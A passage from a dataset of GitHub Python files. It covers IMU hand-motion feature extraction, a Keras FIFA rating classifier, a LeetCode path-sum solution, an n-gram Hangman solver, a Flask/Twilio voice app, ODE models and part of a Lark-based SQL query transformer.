features\r\n    features = np.hstack((thumb_fea, index_fea, middle_fea, engage_fea, pinky_fea))\r\n    return features\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    t0 = time.clock()\r\n\r\n    csvdata = np.genfromtxt('D:\\python_program\\HandMotionPrimitive\\data\\withlabel_v3\\ID'+str(ID)+'\\\\'+hand+'_IMU_'+str(trial)+'.csv', delimiter=\",\")\r\n    info = csvdata[:, 0:2]\r\n    data = csvdata[:, 2:70]\r\n\r\n    if data.ndim == 1:  # this is the case when we use 'ground_quats_R or L', where we only have one row\r\n        data = data.reshape(1, data.shape[0])\r\n\r\n    calrotm = calibrate_glove(data[0, :])  # Calm[:, :, self.IMUIDs[SegIdx]]\r\n    calpath = 'D:\\python_program\\HandMotionPrimitive\\data\\withlabel_v3\\ID'+str(ID)+'\\\\feature\\\\'+hand+'_IMU_'+str(trial)+'_calrotm.csv'\r\n\r\n    calfile = open(calpath, \"w\", newline='')\r\n    writer = csv.writer(calfile)\r\n    for i in range(17):\r\n        for j in range(3):\r\n            writer.writerow(calrotm[j, :, i])\r\n    calfile.close()\r\n\r\n    fea_data = np.zeros((data.shape[0], NUM_FEATURES+1+2))\r\n    feapath = 'D:\\python_program\\HandMotionPrimitive\\data\\withlabel_v3\\ID'+str(ID)+'\\\\feature\\\\'+hand+'_IMU_'+str(trial)+'_fea.csv'\r\n    feafile = open(feapath, \"w\", newline='')\r\n    writer = csv.writer(feafile)\r\n    for i in range(data.shape[0]):\r\n        features = calculate_feature(data[i, :])\r\n        features = np.hstack((info[i, 0:2], features, [trial]))\r\n        fea_data[i, :] = features\r\n        writer.writerow(features)\r\n\r\n    feafile.close()\r\n","repo_name":"aliciachenw/motion-primitives-learning","sub_path":"phy_fea_extra_v3.py","file_name":"phy_fea_extra_v3.py","file_ext":"py","file_size_in_byte":14498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30603073151","text":"from keras import models\nfrom keras import layers\nfrom numpy import genfromtxt\nimport matplotlib.pyplot as plt\nfrom keras.utils import np_utils\n\n\nstats = genfromtxt('stats.csv', delimiter=',', encoding='utf-8-sig',dtype=int)\nstats[:,0]-=65\nprint(stats)\nprint(stats.shape)\noverall = genfromtxt('overall.csv', delimiter=',', encoding='utf-8-sig', dtype=int)\noverall = overall - 65\nprint(overall)\nprint(overall.shape)\n\noverall_encoded = np_utils.to_categorical(overall)\n\nprint(overall_encoded)\n\n# stats_train=stats[:400]\n# stats_val=stats[400:]\n# overall_train=overall_encoded[:400]\n# overall_val=overall_encoded[400:]\n\nfrom sklearn.model_selection import train_test_split\n#train데이터, test데이터 나누기\nstats_train, stats_val , overall_train, overall_val = train_test_split(stats, overall_encoded, train_size = 0.8, test_size = 0.2, random_state = 42)\n\nprint(stats_train)\nprint(overall_train)\n\nmodel = models.Sequential()\nmodel.add(layers.Dense(64, input_dim= 8, activation='relu'))\nmodel.add(layers.Dense(64, activation='relu'))\nmodel.add(layers.Dense(64, activation='relu'))\n\nmodel.add(layers.Dense(30, activation='softmax'))\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nhistory=model.fit(stats_train, overall_train, epochs=50, batch_size=10, validation_data=(stats_val,overall_val))\n\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs = range(1, len(loss) + 1)\nplt.plot(epochs, loss, 'bo', label='Training loss')\nplt.plot(epochs, val_loss, 'b', label='Validation loss')\nplt.title('Training and validation loss')\nplt.xlabel('Epochs')\nplt.ylabel('Loss')\nplt.legend()\nplt.show()\n\nprint(\"\\n train accuracy : %.4f\" %(model.evaluate(stats_train, overall_train)[1]))\nprint(\"\\n val_accuracy : %.4f\" %(model.evaluate(stats_val, overall_val)[1]))\n\n","repo_name":"dali1999/FIFA_machineLearning","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17151647447","text":"__author__ = 'keleigong'\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def hasPathSum(self, root, sum):\n        \"\"\"\n        :type root: TreeNode\n        :type sum: int\n        :rtype: bool\n        \"\"\"\n        if root is None:\n            return False\n        stack = [root]\n        tmp = {root: 0}\n        res = 0\n        while len(stack) > 0:\n            node = stack.pop()\n            res = tmp[node] + node.val\n            if node.right:\n                stack.append(node.right)\n                tmp[node.right] = res\n            if node.left:\n                stack.append(node.left)\n                tmp[node.left] = res\n            if node.left is None and node.right is None:\n                if res == sum:\n                    return True\n        return False\n\n\n","repo_name":"KeleiAzz/LeetCode","sub_path":"PathSum.py","file_name":"PathSum.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36715342341","text":"import json\nimport requests\nimport random\nimport string\nimport secrets\nimport time\nimport re\nimport collections\nimport numpy as np \n\n\nclass HangmanAPI(object):\n    def __init__(self, n=5, weights=[1,2,3,5,8]):\n        self.guessed_letters = []\n        self.incorrect_guesses = []\n        \n        full_dictionary_location = \"dictionaries/words_250000_train.txt\"\n        test_dictionary_location = \"dictionaries/words_test.txt\"\n        self.full_dictionary = self.build_dictionary(full_dictionary_location)  \n        self.full_dictionary_common_letter_sorted = collections.Counter(\"\".join(self.full_dictionary)).most_common()      \n        self.test_dictionary = self.build_dictionary(test_dictionary_location)\n        \n        self.n = n\n        self.ngram_dictionaries = [None] \n        self.ngram_dictionaries += [\n            self.create_ngram_dictionary(i, self.full_dictionary)\n            for i in range(1, self.n+1)\n        ]\n        self.ngram_model_weights = weights\n        assert(len(self.ngram_model_weights) == self.n)\n\n        self.current_dictionary = []\n        self.wins = []\n        self.lose_words = []\n        \n\n    def get_end_points(self, n): \n        # returns list of tuples of length n\n        return [(i, -n+1+i) for i in range(n)]\n\n\n    def list_of_n_tups(self, n, s): \n        # returns list of n tuples of characters from string s\n        l = len(s)\n        return list(zip(*[s[b:l+e] for b,e in self.get_end_points(n)]))\n\n\n    def create_ngram_dictionary(self, n, dictionary): \n        s = \" \".join(dictionary)\n        all_ngrams = []\n        for tup in self.list_of_n_tups(n, s): \n            if ' ' not in tup: \n                all_ngrams.append(\"\".join(tup))   \n        ngram_dictionary = collections.Counter(all_ngrams)\n        return ngram_dictionary\n\n\n    def ngram_model(self, n, word, dictionary=None): \n        # trigram model\n        # returns dictionary -> { letter : normalized weight }\n        if dictionary: \n            ngram_dictionary = self.create_ngram_dictionary(n, dictionary)\n        else: \n            ngram_dictionary = self.ngram_dictionaries[n]\n\n        candidate_letters = collections.defaultdict(int)\n        for ngram_tuple in self.list_of_n_tups(n, word):\n            if ngram_tuple.count('.') == 1:\n                ngram_regex = \"\".join(ngram_tuple)\n                prog = re.compile(ngram_regex)\n                for ngram, weight in ngram_dictionary.items(): \n                    match = prog.match(ngram)\n                    if match: \n                        for i, c_i in enumerate(ngram_regex): \n                            if c_i == \".\": \n                                candidate_letters[ngram[i]] += weight\n        total_weight = sum(candidate_letters.values())\n        normalized_candidate_letters = { \n            letter : weight/total_weight\n            for letter, weight in candidate_letters.items()\n        }\n        return normalized_candidate_letters\n\n\n    def guess(self, word): \n        clean_word = word[::2].replace(\"_\",\".\")\n        ngram_model_probs = [\n            self.ngram_model(n, clean_word)\n            for n in range(1,self.n+1)\n        ]    \n        \n        scores = dict()\n        max_score = 0\n        suggested_letter = None\n        for cord in range(ord('a'), ord('z')+1): \n            if chr(cord) in self.guessed_letters: \n                continue\n            score = sum([\n                self.ngram_model_weights[i]*ngram_model_probs[i].get(chr(cord), 0)\n                for i in range(self.n)\n            ])\n            \n            scores[chr(cord)] = score\n            if score > max_score: \n                max_score = score\n                suggested_letter = chr(cord)\n        # print(scores)\n        return suggested_letter\n\n  \n    def build_dictionary(self, dictionary_file_location):\n        text_file = open(dictionary_file_location,\"r\")\n        full_dictionary = text_file.read().splitlines()\n        text_file.close()\n        return full_dictionary\n\n              \n    def play_game(self, verbose=True): \n        '''\n        Plays a game with the user, where the user decides whether the letter is correct or not.  \n        '''\n        # reset guessed letters to empty set and current plausible dictionary to the full dictionary\n        self.guessed_letters = []\n        self.tries_remaining = 6 \n        \n        length_of_word = int(input(\"\\nHow long is the word?\"))\n        masked = ['_' for letter in range(length_of_word)]\n    \n        word = ' '.join(masked)\n        # breakpoint()\n        while self.tries_remaining > 0:\n            \n            if verbose:\n                print(\"{} tries remaining\".format(self.tries_remaining))\n                print(word)\n                print('\\n')\n            \n            my_guess = self.guess(word)\n            \n            self.guessed_letters.append(my_guess)\n            \n            if verbose:\n                print(\"The letter {} is guessed\".format(my_guess))\n                print('\\n')\n\n            yn = input(\"is letter {} in the word?\".format(my_guess))\n            if yn in {'Y', 'y', 'yes', 'YES', 'Yes'}: \n                locstr = input(\"where is/are the letter(s)? (Enter as comma delimited)\")\n                indices = [int(loc)-1 for loc in locstr.split(',')]\n\n                # indices = []\n                # indices = [i for i, x in enumerate(characters) if x == my_guess]\n                \n                for index in indices:\n                    masked[index] = my_guess\n                    \n                word = ' '.join(masked)\n                \n                if '_' not in word:\n                    if verbose:\n                        print(word)\n                        print('You win!')\n                    self.wins.append(1)\n                    break\n            else: \n                if verbose:\n                    print(\"Bad guess\")\n                    print('\\n')\n                self.tries_remaining = self.tries_remaining - 1\n                \n        if '_' in word:\n            if verbose:\n                print(\"You lose!\")\n            self.wins.append(0)\n            self.lose_words.append(actual_word)\n\n\n    def start_game(self, verbose=True, train_test='train'):\n        '''\n        Plays a single game of hangman. Specify whether or not to use a word from the training\n        dictionary or the test dictionary\n        '''\n        \n        # reset guessed letters to empty set and current plausible dictionary to the full dictionary\n        self.guessed_letters = []\n        self.tries_remaining = 6 \n\n\n        if not actual_word:\n            if train_test == 'train':\n                actual_word = random.choice(self.full_dictionary)\n            else:\n                actual_word = random.choice(self.test_dictionary)\n        \n        if verbose and see_actual:\n            print('The word is {}'.format(actual_word))\n            \n        characters = [i for i in actual_word]\n        \n        masked = ['_' for letter in characters]\n    \n        word = ' '.join(masked)\n        # breakpoint()\n        while self.tries_remaining > 0:\n            \n            if verbose:\n                print(\"{} tries remaining\".format(self.tries_remaining))\n                print(word)\n                print('\\n')\n            \n            my_guess = self.guess(word)\n            \n            self.guessed_letters.append(my_guess)\n            \n            if verbose:\n                print(\"The letter {} is guessed\".format(my_guess))\n                print('\\n')\n        \n            if my_guess in characters:\n                indices = [i for i, x in enumerate(characters) if x == my_guess]\n                \n                for index in indices:\n                    masked[index] = my_guess\n                    \n                word = ' '.join(masked)\n                \n                if '_' not in word:\n                    if verbose:\n                        print(word)\n                        print('You win!')\n                    self.wins.append(1)\n                    break\n    \n            else:\n                if verbose:\n                    print(\"Bad guess\")\n                    print('\\n')\n                self.tries_remaining = self.tries_remaining - 1\n                \n        if '_' in word:\n            if verbose:\n                print(\"You lose!\")\n            self.wins.append(0)\n            self.lose_words.append(actual_word)\n\n\nclass LanguageModelHangmanAPI(HangmanAPI): \n    def __init__(self, n=8, weights=[1,1,1,1,1,1,1,1]): \n        \n        super().__init__()\n        \n        ##################################################################\n        # Below are class attributes, specific to n-grams language model.#\n        ##################################################################\n        self.n = n\n        self.ngram_distributions = [None] \n        self.ngram_distributions += [\n            self.create_ngram_distribution(i, self.full_dictionary)\n            for i in range(1, self.n+1)\n        ]\n        self.letter_exist_distributions = \\\n            self.create_letter_existence_distributions(self.full_dictionary)\n        self.ngram_model_weights = weights\n        assert(len(self.ngram_model_weights) == self.n)\n    \n\n    def get_end_points(self, n): \n        # returns list of tuples of length n\n        return [(i, -n+1+i) for i in range(n)]\n\n    \n    def list_of_n_tups(self, n, s): \n        # returns list of n tuples of characters from string s\n        l = len(s)\n        return list(zip(*[s[b:l+e] for b,e in self.get_end_points(n)]))\n\n\n    def encode_word(self, word): \n        # convert string word to 26 length list\n        encoded_word = np.zeros(26)\n        base_ordinal = ord(\"a\")\n        for c in word: \n            cid = ord(c) - base_ordinal\n            encoded_word[cid] = 1\n        return encoded_word\n\n\n    def create_letter_existence_distributions(self, dictionary): \n        \"\"\"\n        Create a probability distribution across letters according \n        to the probability of their EXISTENCE (max 1 per word) by word lengths. \n        A brief investigations into the provided dictionaries showed me that\n        letter existence probabilities' ranking changes as word lengths \n        change. \n\n        For example, \"y\" exists in ~20% of 11 length words, but 40% of \n        19 length words! Nevertheless, we only really care about the top couple of\n        letters, which are generally more consistent (e.g. i, e, t, a, r, s) but \n        sometimes switch rankings between them. \n\n        Returns python dict : {length -> character -> probability}\n        \"\"\"\n\n        letter_distributions = np.zeros((50, 26)) # word length, character ordinal\n        letter_counts_track = np.zeros(50) # record number of words with i number of letters.\n\n        for word in dictionary: \n            letter_distributions[len(word)] += self.encode_word(word)\n            letter_counts_track[len(word)] += 1 \n\n        letter_distributions_dict = dict() \n        base_ordinal = ord(\"a\")\n        for length, letter_counts in enumerate(letter_distributions): \n            letter_distributions_dict[length] = dict()\n            for rel_ord, count in enumerate(letter_counts):  \n                prob = count / letter_counts_track[length]\n                letter_distributions_dict[length][chr(base_ordinal+rel_ord)] = prob\n\n        return letter_distributions_dict\n\n\n    def create_ngram_distribution(self, n, dictionary): \n        \"\"\"\n        Create a n-gram model (probability distribution) \n        based on a dictionary of words and counting the n-grams. \n        \"\"\"\n        s = \" \".join(dictionary)\n        all_ngrams = []\n        for tup in self.list_of_n_tups(n, s): \n            all_ngrams.append(\"\".join(tup))   \n        ngram_distribution = collections.Counter(all_ngrams)\n        return ngram_distribution\n\n\n    def ngram_model(self, n, word, dictionary=None): \n        \"\"\"\n        Returns the conditional probability distribution of letters missing in word\n        in the form of a python dict -> { letter : conditional probability }\n        \n        Given the current word (e.g. \" h.l.o. \", notice the spaces at the start and end of the word) \n        where \".\"s represent missing letters, all n-grams of the word are checked \n        against the prior distribution of n-grams; each n-gram holds a weight (number of times \n        n-gram has occured in corpus).\n        \n        For example, if n=3 and if the prior distribution only contains \n        \n        {\n            \"on \": 200,\n            \"eal\": 500, \n            \"llo\": 400,\n            \"hal\": 400,\n            \"lio\": 500,\n        }, \n        \n        the n-grams (3-grams) from the words that match words in the prior distribution\n        are WHERE THERE IS ONLY ONE MISSING LETTER (i.e. \".l.\" matches \"llo\", but there are\n        2 missing letters so it is not considered in the calculation): \n        \n        \"o. \" matches \"on \",\n        \"l.o\" matches \"llo\", \"lio\",\n        \"h.l\" matches \"hal\",\n        \n        Each pairing between the n-grams (3-grams) and words in the prior distribution \n        is recorded in a dictionary which stores the total weight per candidate letter. \n        For the example above, the dictionary, or posterior distribution \n        of letter weights, would become: \n        \n        {\n            \"l\" : 400 + 400, \n            \"i\" : 500, \n            \"e\" : 500,\n            \"a\" : 400,\n            \"n\" : 200,\n        }\n        \n        In this case, \"l\" ends up having the highest total weight (which is then divided \n        by the total weights across every candidate letter to get the probability), so \n        our model says there's ~33% chance \"l\" is a letter in the word. There's ~20% \"i\"\n        is in the word, ~20% \"e\" is in the word, ~17% \"a\" is the word, etc. \n        \n        In other words, we are going from the prior probability distribution\n        of n-grams to a posterior probability distribution of candidate letters. \n\n        Note 1: We remove \" \" from candidate letters because we know for a fact there \n        are no \" \"s in the word besides at the start and end. \n                \n        Note 2: if a dictionary is provided, we create an n-gram probability distribution\n        based on it. Else, we will use the original n-gram probability distribution\n        that is stored in memory. \n\n        \"\"\"\n        if n == 1: \n            # return a letter distribution based on the word length, not n-grams model. \n            # remember to subtract 2 because SPACES are added to the word!!\n            # also, winsorize distribution to be only greater than 3 and less than 19 \n            #   bc everything else has fewer than 1000 samples per word length.\n            length_winsorized = min(max(len(word)-2, 3), 19)\n            return self.letter_exist_distributions[length_winsorized]\n\n        if dictionary: \n            prior_ngram_distribution = self.create_ngram_distribution(n, dictionary)\n        else: \n            prior_ngram_distribution = self.ngram_distributions[n]\n\n        \n        posterior_letter_distribution = collections.defaultdict(int)\n        for ngram_tuple in self.list_of_n_tups(n, word):\n            if ngram_tuple.count('.') == 1:\n                ngram_regex = \"\".join(ngram_tuple).replace(\".\", \"[^ ]\")\n                prog = re.compile(ngram_regex)\n                for ngram, weight in prior_ngram_distribution.items(): \n                    match = prog.match(ngram)\n                    if match: \n                        for i, c_i in enumerate(ngram_regex.replace(\"[^ ]\",\".\")): \n                            if c_i == \".\": \n                                posterior_letter_distribution[ngram[i]] += weight\n\n        if \" \" in posterior_letter_distribution.keys(): \n            del posterior_letter_distribution[\" \"]\n        total_weight = sum(posterior_letter_distribution.values())\n        normalized_posterior_letter_distribution = { \n            letter : weight/total_weight\n            for letter, weight in posterior_letter_distribution.items()\n        }\n        return normalized_posterior_letter_distribution\n    \n    \n    def guess(self, word): \n        clean_word = word[::2].replace(\"_\",\".\")\n        clean_word = \" \" + clean_word + \" \"\n\n        ngram_model_probs = [\n            self.ngram_model(n, clean_word)\n            for n in range(1,self.n+1)\n        ]    \n        \n        scores = dict()\n        max_score = 0\n        suggested_letter = None\n        for cord in range(ord('a'), ord('z')+1): \n            if chr(cord) in self.guessed_letters: \n                continue\n            score = sum([\n                self.ngram_model_weights[i]*ngram_model_probs[i].get(chr(cord), 0)\n                for i in range(self.n)\n            ])\n            \n            scores[chr(cord)] = score\n            if score > max_score: \n                max_score = score\n                suggested_letter = chr(cord)\n        # print(scores)\n        return suggested_letter","repo_name":"keyao21/hangman","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":16867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70330178297","text":"from flask import Flask\nimport random\nfrom config import TWILIOCFG, FRASES, CUMPLE\nfrom twilio.twiml.voice_response import VoiceResponse\n\napp = Flask(__name__)\n\ndef SeleccionarFrase(listadefrases):\n    return random.choice(listadefrases)\n\ndef TwiMLResponse(texto):\n    #voices = ['man', 'woman', 'alice']\n    voices = ['alice']\n    selectedvoice = random.choice(voices)\n    if selectedvoice == 'alice':\n        lang = 'es-MX'\n    else:\n        lang = 'es' \n    tr = VoiceResponse()\n    tr.pause(length=1)\n    tr.say(message=texto, voice=selectedvoice, loop=1, language=lang)\n    tr.hangup()\n    return tr.to_xml()\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef home():\n    return \"\"\n\n@app.route(\"/obtenerfrase\", methods=['GET', 'POST'])\ndef answer_call():\n    return str(TwiMLResponse(SeleccionarFrase(FRASES)))\n\n@app.route(\"/diasparaelcumple\", methods=['GET', 'POST'])\ndef calcular_dias():\n    import datetime\n    cumple=datetime.date(CUMPLE['anio'], CUMPLE['mes'], CUMPLE['dia'])\n    hoy = datetime.date.today()\n    dias = (cumple-hoy).days\n    if dias > 0:\n        return str(TwiMLResponse('Buenos días. Le informamos que faltan {} días para el cumple de {}. Saludos!'.format(dias, CUMPLE['nombre'])))\n    else:\n        return str(TwiMLResponse('Buenos días. Le informamos que hoy es el cumple de {}. Saludos!'.format(CUMPLE['nombre'])))\n\nif __name__ == \"__main__\":\n    #app.run(host='127.0.0.1', port=10000, debug=True)\n    app.run(host='127.0.0.1')","repo_name":"aweher/twilio-caller","sub_path":"caller-webapp.py","file_name":"caller-webapp.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39179349976","text":"with open(\"9_encoding_error_input.txt\") as f:\n    data = f.readlines()\n\ndata = [int(datum) for datum in data]\n\ndel data[-1]  # remove new line\n\nPREAMBLE_LENGTH = 25\n\nfor index in range(PREAMBLE_LENGTH, len(data)):\n    preamble = data[index-PREAMBLE_LENGTH:index]\n    found = False\n    for item in preamble:\n        for item2 in preamble:\n            if item + item2 == data[index] and item != item2:\n                found = True\n                break\n        if found:\n            break\n    if not found:\n        invalid_number = data[index]\n\nprint(invalid_number)\n\n","repo_name":"Simetraa/AdventOfCode2020","sub_path":"9_encoding_error/9_1_encoding_error.py","file_name":"9_1_encoding_error.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34082964748","text":"def lorenz_system(X, Y, Z, CONTS):\n    \"\"\"calculates dx/dt, dy/dt, dz/dt for the lorenz system of equations given inital conditions, rho, sigma\n    and beta values\"\"\"\n    RHO, SIGMA, BETA = CONTS\n    # equations for lorenz system\n    dx = SIGMA * (Y - X)\n    dy = X * (RHO - Z) - Y\n    dz = X * Y - BETA * Z\n    return [dx, dy, dz]\n    \ndef clifford_attractor(X, Y, CONST):\n    \"\"\"calculates dx, dy for clifford attractor given initial conditions, a, b, c, and d values\n    \"\"\"\n    import numpy as np\n    A, B, C, D = CONST\n    dx = np.sin(A*Y) + C*np.cos(A*X)\n    dy = np.sin(B*X) + D*np.cos(B*Y)\n    return [dx, dy]\n\ndef rossler_attractor(X, Y, Z, CONST):\n    \"\"\"calculates dx, dy, dz for rossler attractor given initial conditions, a, b, and c values\"\"\"\n    A, B, C = CONST\n    # rossler system equations\n    dx = -Y - Z\n    dy = X + A*Y\n    dz = B + Z*(X - C)\n    return [dx, dy, dz]\n\ndef damped_pendulum(X, Y, CONST):\n    \"\"\"calculates dx, dy for pendulum with friction given intial conditons, friction and grav.constant/length\"\"\"\n    import numpy as np\n    A, B = CONST # \n    # equations of motion for pendulum\n    dx = Y\n    dy = -A*Y - B*np.sin(X)\n    return [dx, dy]","repo_name":"elkogerville/ODEpy","sub_path":"ODEpy/ODEmodels.py","file_name":"ODEmodels.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"42546673323","text":"import os.path\nimport datetime\nfrom lark import Transformer\nfrom berkeleydb import db\nfrom utils import *\n\nEXIT_STR = 'exit;'\n\n\nclass MyTransformer(Transformer):\n    def __init__(self, sch: Schema):\n        self.where_not = False\n        self.error = Error()\n        self.data = ParsedData()\n        self.sch = sch \n\n    def reset(self):  # reset transformer to origin state\n        self.where_not = False\n        self.error = Error()\n        self.data = ParsedData()\n\n    def command(self, items):\n        #print(items[0].pretty())\n\n        if items[0] == 'exit': # handle exit case\n            return EXIT_STR\n        else:\n            return self.data.query_type\n        \n    def create_table_query(self, items): # handle create table query\n        self.data.query_type = \"CREATE TABLE\"\n        self.data.table_name = items[2].children[0].lower()\n\n        if self.data.table_name in self.sch.table_names :\n            self.error = Error(True, \"TableExistenceError\")\n\n        return items\n    \n    def column_definition(self, items):\n        col_name = items[0].children[0].lower()\n        if col_name in self.data.column_names:\n            self.error = Error(True, 'DuplicateColumnDefError')\n\n        self.data.column_names.append(col_name)\n\n        if items[1].children[0].lower() == CHAR:\n            self.data.dtypes.append(items[1].children[0].lower())\n            self.data.dlength.append(items[1].children[2].lower())\n            if int(items[1].children[2].lower()) <= 0:\n                self.error = Error(True, 'CharLengthError')\n        else:\n            self.data.dtypes.append(items[1].children[0].lower())\n            self.data.dlength.append(-1)\n\n        if items[2] is None:\n            self.data.nullable.append(True)\n        else:\n            self.data.nullable.append(False)\n\n    def primary_key_constraint(self, items):\n        if len(self.data.primary) != 0:\n            self.error = Error(True, 'DuplicatePrimaryKeyDefError')\n        else:\n            key_count = len(items[2].children)\n            for i in range(1, key_count - 1):\n                if items[2].children[i].children[0].lower() in self.data.primary:\n                    self.error = Error(True, 'DuplicatePrimaryKeyDefError')\n                    break\n                self.data.primary.append(items[2].children[i].children[0].lower())\n\n    def referential_constraint(self, items):\n        key_count = len(items[2].children)\n        ref_key_count = len(items[5].children)\n        ref_table = items[4].children[0].lower()\n\n        if ref_table not in self.sch.table_names:\n            self.error = Error(True, 'ReferenceTableExistenceError')\n        elif key_count - 2 != len(self.sch.tables[ref_table].primary_key) \\\n            | ref_key_count - 2 != len(self.sch.tables[ref_table].primary_key) :\n            self.error = Error(True, 'ReferenceNonPrimaryKeyError')\n        else:\n            for i in range(1, key_count - 1):\n                col_name = items[2].children[i].children[0].lower()\n                ref_col_name = items[5].children[i].children[0].lower()\n                col_type = self.data.dtypes[self.data.column_names.index(col_name)]\n\n                if ref_col_name not in self.sch.tables[ref_table].column_names:\n                    self.error = Error(True, 'ReferenceColumnExistenceError')\n                    break\n                elif ref_col_name != self.sch.tables[ref_table].primary_key[i-1]:\n                    self.error = Error(True, 'ReferenceNonPrimaryKeyError')\n                    break\n                elif col_name not in self.data.column_names:\n                    self.error = Error(True, 'NonExistingColumnDefError', '', col_name)\n                    break\n                elif col_type != self.sch.tables[ref_table].column[ref_col_name].data_type:\n                    self.error = Error(True, 'ReferenceTypeError')\n                    break\n                elif col_type == CHAR:\n                    col_length = int(self.data.dlength[self.data.column_names.index(col_name)])\n                    if col_length != self.sch.tables[ref_table].column[ref_col_name].data_length:\n                        self.error = Error(True, 'ReferenceTypeError')\n                        break\n                elif col_name in self.data.ref_table.keys():\n                    self.error = Error(True, 'DuplicateColumnDefError')\n                    break\n\n                self.data.ref_table[col_name] = ref_table\n                self.data.ref_column[col_name] = ref_col_name\n\n        return items\n\n    def drop_table_query(self, items): # handle drop table query\n        self.data.query_type = \"DROP TABLE\"\n        self.data.table_name = items[2].children[0].lower()\n\n        if self.data.table_name not in self.sch.table_names:\n            self.error = Error(True, \"NoSuchTable\")\n        elif bool(self.sch.tables[self.data.table_name].referenced):\n            self.error = Error(True, \"DropReferencedTableError\", self.data.table_name)\n\n        return items\n    \n    def describe_query(self, items):  # handle describe query\n        self.data.query_type = \"DESCRIBE\"\n        self.data.table_name = items[1].children[0].lower()\n\n        if self.data.table_name not in self.sch.table_names:\n            self.error = Error(True, \"NoSuchTable\")\n        return items\n    \n    def explain_query(self, items):  # handle explain query\n        self.data.query_type = \"EXPLAIN\"\n        self.data.table_name = items[1].children[0].lower()\n\n        if self.data.table_name not in self.sch.table_names:\n            self.error = Error(True, \"NoSuchTable\")\n        return items\n    \n    def desc_query(self, items):  # handle desc query\n        self.data.query_type = \"DESC\"\n        self.data.table_name = items[1].children[0].lower()\n\n        if self.data.table_name not in self.sch.table_names:\n            self.error = Error(True, \"NoSuchTable\")\n        return items\n    \n    def show_tables_query(self, items):  # handle show tables query\n        self.data.query_type = \"SHOW TABLES\"\n        return items\n\n    # select query\n    def select_query(self, items):\n        self.data.query_type = \"SELECT\"\n        \n        # check selected columns are valid\n        for i in range(len(self.data.select_columns)):\n            (t_name, c_name) = self.data.select_columns[i]\n            \n            # case 1 : table name is specified\n            if t_name != None:\n                # selected table is non-exist case\n                if t_name not in self.sch.table_names:\n                    self.error = Error(True, \"SelectTableExistenceError\", t_name)\n                    return items\n                \n                # check specified table is in selected table\n                if t_name not in self.data.select_table:\n                    self.error = Error(True, \"SelectColumnResolveError\", t_name, c_name)\n                    return items\n                \n                # selected column is not exist in table\n                if c_name not in self.sch.tables[t_name].column_names:\n                    self.error = Error(True, \"SelectColumnResolveError\", t_name, c_name)\n                    return items\n                \n            # case 2 : table name is skipped\n            else:\n                cnt = 0\n                # search which selected table contain column name\n                for table_name in self.data.select_table:\n                    # selected table is non-exist case\n                    if table_name not in self.sch.table_names:\n                        self.error = Error(True, \"SelectTableExistenceError\", table_name)\n                        return items\n                    \n                    for col_name in self.sch.tables[table_name].column_names:\n                        if col_name == c_name:\n                            self.data.select_columns[i] = (table_name, c_name)\n                            cnt += 1\n                \n                # if multiple table contain column, then return ambigious error\n                if cnt > 1:\n                    self.error = Error(True, \"SelectColumnResolveError\", t_name, c_name)\n                    return items\n                # if any table doesn't contain, then return non-exist column error\n                elif cnt == 0:\n                    self.error = Error(True, \"SelectColumnResolveError\", t_name, c_name)\n                    return items\n\n        # where clause valid checking process\n        for cond in self.data.conditions:\n            # case 1 : value comparision condition\n            if cond.comp_type == VALUE_COMP: \n                # compand valid checking\n                if cond.compand1.data_type == '':\n                    cond.compand1 = self.compand_data_checking(cond.compand1)\n                if cond.compand2.data_type == '':\n                    cond.compand2 = self.compand_data_checking(cond.compand2)\n\n                if self.error.error:\n                    return items\n\n                # if make comparision between non null and different type values, send error\n                if cond.compand1.data_type != NULL and cond.compand2.data_type != NULL:\n                    if cond.compand1.data_type != cond.compand2.data_type:\n                        self.error = Error(True, \"WhereIncomparableError\")\n                        \n            # case 2 : null checking conditions\n            else:\n                # case 2-1 : non specfied column\n                if cond.table_name == '':\n                    cnt = 0\n                    # check table name valid\n                    for t_name in self.data.select_table:\n                        # specified table non-exist\n                        if t_name not in self.sch.table_names:\n                            self.error = Error(True, 'NoSuchTable', t_name)\n                            return items\n                        \n                        if cond.col_name in self.sch.tables[t_name].column_names:\n                            cond.table_name = t_name\n                            cnt += 1\n                            \n                    # column is not exist\n                    if cnt == 0:\n                        self.error = Error(True, 'WhereColumnNotExist')\n                        return items\n                    # column refered by more than 2 tables\n                    elif cnt > 1:\n                        self.error = Error(True, 'WhereAmbiguousReference')\n                        return items\n                # case 2-2 : specfied case \n                else:\n                    # table existence check\n                    if cond.table_name not in self.data.select_table:\n                        self.error = Error(True, 'WhereTableNotSpecified')\n                        return items\n                    # column existence check\n                    elif cond.col_name not in self.sch.tables[cond.table_name].column_names:\n                        self.error = Error(True, 'WhereColumnNotExist')\n                        return items\n\n        return items\n\n    # handle insert query\n    def insert_query(self, items):\n        self.data.query_type = \"INSERT\"\n        self.data.table_name = items[2].children[0].lower()\n        \n        # table existence check\n        if self.data.table_name not in self.sch.table_names:\n            self.error = Error(True, \"NoSuchTable\")\n            return items\n        \n        # length of inserted values\n        key_count = len(items[5].children)\n\n        # column names specified case\n        if items[3] != None:\n            col_len = len(items[3].children) - 2\n        else:\n            col_len = len(self.sch.tables[self.data.table_name].column_names)\n\n        # if column length doesn't fit with value length -> return 